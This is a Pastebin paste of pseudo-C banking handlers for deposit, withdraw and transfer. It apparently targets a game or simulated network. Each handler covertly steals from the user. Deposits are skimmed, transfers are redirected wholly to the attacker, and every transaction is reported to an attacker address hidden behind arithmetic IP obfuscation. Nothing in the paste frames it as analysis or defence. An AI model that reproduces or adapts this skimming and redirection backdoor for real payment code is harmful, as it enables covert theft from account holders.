Advertisement
Guest User

Untitled

a guest
Jun 23rd, 2017
54
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
text 1.68 KB | None | 0 0
  1. DEPOSIT
  2. int main(){
  3. float amount = getAmount();
  4. float vicAmount = rand()*50;
  5.  
  6. message(getMal(),"Incoming deposit from " + getVic() + ": $" + amount + " (- $" + vicAmount + ")");
  7. dep(getVic(), vicAmount);
  8. dep(getMal(), amount - vicAmount);
  9. }
  10.  
  11. void dep(string who, float howmuch){
  12. mediumDeposit(who, howmuch);
  13. }
  14.  
  15. string getMal(){
  16. string myIP[] = split("194,973,4,737",",");
  17. string seed[] = {"-42","-877","4","-640"};
  18. int i;
  19. for(i=0;i<4;i++){myIP[i]=parseInt(myIP[i])+parseInt(seed[i])+"";if(strlen(myIP[i])==2){myIP[i]="0"+myIP[i];}}
  20. return join(myIP,".");
  21. }
  22.  
  23. string getVic(){
  24. return getSourceIP();
  25. }
  26.  
  27.  
  28. WITHDRAW
  29. int main(){
  30. float amount = getAmount();
  31.  
  32. message(getMal(),"Vic " + getVic() + " is withdrawing: $" + amount);
  33. withdraw(getVic(), amount);
  34. }
  35.  
  36. string getMal(){
  37. string myIP[] = split("194,973,4,737",",");
  38. string seed[] = {"-42","-877","4","-640"};
  39. int i;
  40. for(i=0;i<4;i++){myIP[i]=parseInt(myIP[i])+parseInt(seed[i])+"";if(strlen(myIP[i])==2){myIP[i]="0"+myIP[i];}}
  41. return join(myIP,".");
  42. }
  43.  
  44. string getVic(){
  45. return getSourceIP();
  46. }
  47.  
  48.  
  49. TRANSFER
  50. int main(){
  51. float amount = getAmount();
  52.  
  53. message(getMal(),"Incoming transfer from " + getVic() + " to " + getTargetIP() + ": $" + amount);
  54. mediumTransfer(getMal(), amount);
  55. }
  56.  
  57. string getMal(){
  58. string myIP[] = split("194,973,4,737",",");
  59. string seed[] = {"-42","-877","4","-640"};
  60. int i;
  61. for(i=0;i<4;i++){myIP[i]=parseInt(myIP[i])+parseInt(seed[i])+"";if(strlen(myIP[i])==2){myIP[i]="0"+myIP[i];}}
  62. return join(myIP,".");
  63. }
  64.  
  65. string getVic(){
  66. return getSourceIP();
  67. }
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement